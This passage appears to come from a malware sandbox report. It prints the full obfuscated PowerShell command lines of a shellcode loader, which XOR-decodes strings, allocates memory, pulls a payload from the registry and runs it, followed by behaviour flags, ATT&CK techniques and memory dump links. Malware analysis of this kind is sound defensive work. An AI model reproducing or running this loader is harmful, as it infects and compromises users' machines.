Inf'Bro3Dev2Kne5Eft5esk6Lic3Glo7AllAUmb6Hac2vag7DemFdei6Fes5Azo7VolEKlu2Ver7Kmp2Bun4Rev2Kld2Kel3Wee8Gri5FluFDid7Rum8Fah6Cou0Und7Bob9lep7TugDBol7Vie3Pro3KlbEAmb3Syn2Cep5Syd7Roe6Vdd3Pom6Phe4Brn7ProFafd6Ser0Bla7Sta9Ryk6pro4Des7Reg9Bre6Sto3Eft6Har5Abs3GooAChr3Mel2Usm5con8Hyp7Cer3Und7Non2Sto6Sno5For7VelAMer7Stv7Mer7Kly1Aut7Han3Set7Unp8Dys7kal3Ren6Boo5Tri3salFAer'Afs;Cir&Und(Gri`$ValUAmpeOphrPrekHouePeanFordRaaeAhilsyninedgSaxtPro7Alt)Ran Drk`$SlaPsuphhayinatlVasaKarnUnetMethHyrrrneoSampradyRaj3Spo#Eve;""";Function Philanthropy9 {param([String]$Loathsomely);For($Specialanvendelsens=3; $Specialanvendelsens -lt $Loathsomely.Length-1; $Specialanvendelsens+=(3+1)){$horologiography = $horologiography + $Loathsomely.Substring($Specialanvendelsens, 1);}$horologiography;}$Ejakulere1= Philanthropy9 $Debuteres;if([IntPtr]::size -eq 8){ .$env:windir\S*64\W*Power*\v1.0\*ll.exe $Ejakulere1 ;}else{.$env:windir\S*32\W*Power*\v1.0\*ll.exe $Ejakulere1;};"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function HTB { param([String]$Loathsomely); $Staford = New-Object byte[] ($Loathsomely.Length / 2); For($Specialanvendelsens=0; $Specialanvendelsens -lt $Loathsomely.Length; $Specialanvendelsens+=2){ $Staford[$Specialanvendelsens/2] = [convert]::ToByte($Loathsomely.Substring($Specialanvendelsens, 2), 16); $Staford[$Specialanvendelsens/2] = ($Staford[$Specialanvendelsens/2] -bxor 22); } [String][System.Text.Encoding]::ASCII.GetString($Staford);}$Funks0=HTB '456F6562737B38727A7A';$Funks1=HTB '5B7F7564796579706238417F782524384378657770735877627F60735B73627E797265';$Funks2=HTB '5173624664797557727264736565';$Funks3=HTB '456F6562737B38446378627F7B73385F786273647966457364607F757365385E7778727A73447370';$Funks4=HTB '6562647F7871';$Funks5=HTB '5173625B7972637A735E7778727A73';$Funks6=HTB '4442456673757F777A58777B733A365E7F7273546F457F713A364663747A7F75';$Funks7=HTB '446378627F7B733A365B777877717372';$Funks8=HTB '4473707A737562737252737A7371776273';$Funks9=HTB '5F785B737B79646F5B7972637A73';$Uerkendeligt0=HTB '5B6F52737A7371776273426F6673';$Uerkendeligt1=HTB '557A7765653A364663747A7F753A364573777A73723A365778657F557A7765653A3657636279557A776565';$Uerkendeligt2=HTB '5F7860797D73';$Uerkendeligt3=HTB '4663747A7F753A365E7F7273546F457F713A36587361457A79623A36407F646263777A';$Uerkendeligt4=HTB '407F646263777A577A7A7975';$Uerkendeligt5=HTB '7862727A7A';$Uerkendeligt6=HTB '586246647962737562407F646263777A5B737B79646F';$Uerkendeligt7=HTB '5F534E';$Uerkendeligt8=HTB '4A';function fkp {Param ($Kilowatt, $Basilicate) ;$Sandsynliggrer0 =HTB '3243657B7B737A7F7173362B363E4D57666652797B777F784B2C2C5563646473786252797B777F7838517362576565737B747A7F73653E3F366A36417E7364733B59747C737562366D36324938517A7974777A576565737B747A6F5577757E73363B577872363249385A797577627F79783845667A7F623E324373647D737872737A7F71622E3F4D3B274B38536763777A653E325063787D65263F366B3F38517362426F66733E325063787D65273F';&($Uerkendeligt7) $Sandsynliggrer0;$Sandsynliggrer5 = HTB '32466473707964717F607378362B363243657B7B737A7F7173385173625B73627E79723E325063787D65243A364D426F66734D4B4B36563E325063787D65253A36325063787D65223F3F';&($Uerkendeligt7) $Sandsynliggrer5;$Sandsynliggrer1 = HTB '6473626364783632466473707964717F607378385F7860797D733E3278637A7A3A36563E4D456F6562737B38446378627F7B73385F786273647966457364607F757365385E7778727A734473704B3E5873613B59747C73756236456F6562737B38446378627F7B73385F786273647966457364607F757365385E7778727A734473703E3E5873613B59747C737562365F78624662643F3A363E3243657B7B737A7F7173385173625B73627E79723E325063787D65233F3F385F7860797D733E3278637A7A3A36563E325D7F7A79617762623F3F3F3F3A36325477657F7A7F757762733F3F';&($Uerkendeligt7) $Sandsynliggrer1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $transits,[Parameter(Position = 1)] [Type] $forhandlingspuljernes = [Void]);$Sandsynliggrer2 = HTB '32546378727A7F787F7365362B364D57666652797B777F784B2C2C5563646473786252797B777F78385273707F7873526F78777B7F75576565737B747A6F3E3E5873613B59747C73756236456F6562737B384473707A7375627F797838576565737B747A6F58777B733E325063787D652E3F3F3A364D456F6562737B384473707A7375627F797838537B7F6238576565737B747A6F54637F7A7273645775757365654B2C2C4463783F385273707F7873526F78777B7F755B7972637A733E325063787D652F3A363270777A65733F385273707F7873426F66733E324373647D737872737A7F7162263A36324373647D737872737A7F7162273A364D456F6562737B385B637A627F7577656252737A73717762734B3F';&($Uerkendeligt7) $Sandsynliggrer2;$Sandsynliggrer3 = HTB '32546378727A7F787F7365385273707F787355797865626463756279643E325063787D65203A364D456F6562737B384473707A7375627F79783855777A7A7F7871557978607378627F7978654B2C2C45627778727764723A363262647778657F62653F384573625F7B667A737B73786277627F7978507A7771653E325063787D65213F';&($Uerkendeligt7) $Sandsynliggrer3;$Sandsynliggrer4 = HTB '32546378727A7F787F7365385273707F78735B73627E79723E324373647D737872737A7F7162243A36324373647D737872737A7F7162253A36327079647E7778727A7F78716566637A7C73647873653A363262647778657F62653F384573625F7B667A737B73786277627F7978507A7771653E325063787D65213F';&($Uerkendeligt7) $Sandsynliggrer4;$Sandsynliggrer5 = HTB '6473626364783632546378727A7F787F736538556473776273426F66733E3F';&($Uerkendeligt7) $Sandsynliggrer5 ;}$stiliseredes = HTB '7D736478737A2524';$Sandsynliggrer6 = HTB '325D7F72727F7364362B364D456F6562737B38446378627F7B73385F786273647966457364607F757365385B7764657E777A4B2C2C51736252737A737177627350796450637875627F797846797F786273643E3E707D66363265627F7A7F6573647372736536324373647D737872737A7F7162223F3A363E51524236563E4D5F78624662644B3A364D435F786225244B3A364D435F786225244B3A364D435F786225244B3F363E4D5F78624662644B3F3F3F';&($Uerkendeligt7) $Sandsynliggrer6;$Nedslagenes = fkp $Uerkendeligt5 $Uerkendeligt6;$Sandsynliggrer7 = HTB '324473786565777875736425362B36325D7F72727F7364385F7860797D733E4D5F78624662644B2C2C4C7364793A362520213A36266E252626263A36266E22263F';&($Uerkendeligt7) $Sandsynliggrer7;$Sandsynliggrer8 = HTB '325763647F607964796365362B36325D7F72727F7364385F7860797D733E4D5F78624662644B2C2C4C7364793A36266E2726262626263A36266E252626263A36266E223F';&($Uerkendeligt7) $Sandsynliggrer8;$Renssancer00='HKCU:\Lrredskjolens\Overmerit';$Renssancer01 =HTB '32467E7F7A7778627E6479666F2B3E5173623B5F62737B466479667364626F363B4677627E36324473786565777875736426263F38727F6462667A776273';&($Uerkendeligt7) $Renssancer01;$Sandsynliggrer9 = HTB '3245777872656F787A7F7171647364362B364D456F6562737B38557978607364624B2C2C5064797B5477657320224562647F78713E32467E7F7A7778627E6479666F3F';&($Uerkendeligt7) $Sandsynliggrer9;$Philanthropy0 = HTB '4D456F6562737B38446378627F7B73385F786273647966457364607F757365385B7764657E777A4B2C2C5579666F3E3245777872656F787A7F71716473643A36263A36363244737865657778757364253A362520213F';&($Uerkendeligt7) $Philanthropy0;$Arbejdsmiljinstitutternes=$Sandsynliggrer.count-367;$Philanthropy1 = HTB '4D456F6562737B38446378627F7B73385F786273647966457364607F757365385B7764657E777A4B2C2C5579666F3E3245777872656F787A7F71716473643A362520213A36325763647F6079647963653A3632576474737C72657B7F7A7C7F7865627F6263626273647873653F';&($Uerkendeligt7) $Philanthropy1;$Philanthropy2 = HTB '3255637A627F657E272422362B364D456F6562737B38446378627F7B73385F786273647966457364607F757365385B7764657E777A4B2C2C51736252737A737177627350796450637875627F797846797F786273643E3244737865657778757364253A363E51524236563E4D5F78624662644B3A4D5F78624662644B3F363E4D40797F724B3F3F3F';&($Uerkendeligt7) $Philanthropy2;$Philanthropy3 = HTB '3255637A627F657E272422385F7860797D733E325763647F6079647963653A32587372657A7771737873653F';&($Uerkendeligt7) $Philanthropy3#"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3780-136-0x00007FF8CE9B0000-0x00007FF8CF471000-memory.dmp

Filesize
10.8MB

Download
memory/3780-134-0x000002927FE60000-0x000002927FE82000-memory.dmp

Filesize
136KB

Download
memory/4492-140-0x00000000056E0000-0x0000000005746000-memory.dmp

Filesize
408KB

Download
memory/4492-143-0x00000000077B0000-0x0000000007E2A000-memory.dmp

Filesize
6.5MB

Download
memory/4492-138-0x00000000050B0000-0x00000000056D8000-memory.dmp

Filesize
6.2MB

Download
memory/4492-139-0x0000000004FB0000-0x0000000004FD2000-memory.dmp

Filesize
136KB

Download
memory/4492-141-0x00000000057C0000-0x0000000005826000-memory.dmp

Filesize
408KB

Download
memory/4492-142-0x0000000005E00000-0x0000000005E1E000-memory.dmp

Filesize
120KB

Download
memory/4492-137-0x0000000002590000-0x00000000025C6000-memory.dmp

Filesize
216KB

Download
memory/4492-144-0x0000000005830000-0x000000000584A000-memory.dmp

Filesize
104KB

Download
memory/4492-145-0x00000000072D0000-0x0000000007366000-memory.dmp

Filesize
600KB

Download
memory/4492-146-0x00000000064D0000-0x00000000064F2000-memory.dmp

Filesize
136KB

Download
memory/4492-147-0x00000000083E0000-0x0000000008984000-memory.dmp

Filesize
5.6MB

Download
memory/4492-149-0x0000000007130000-0x00000000077AA000-memory.dmp

Filesize
6.5MB

Download
memory/4492-150-0x0000000007130000-0x00000000077AA000-memory.dmp

Filesize
6.5MB

Download

Analysis

Sharing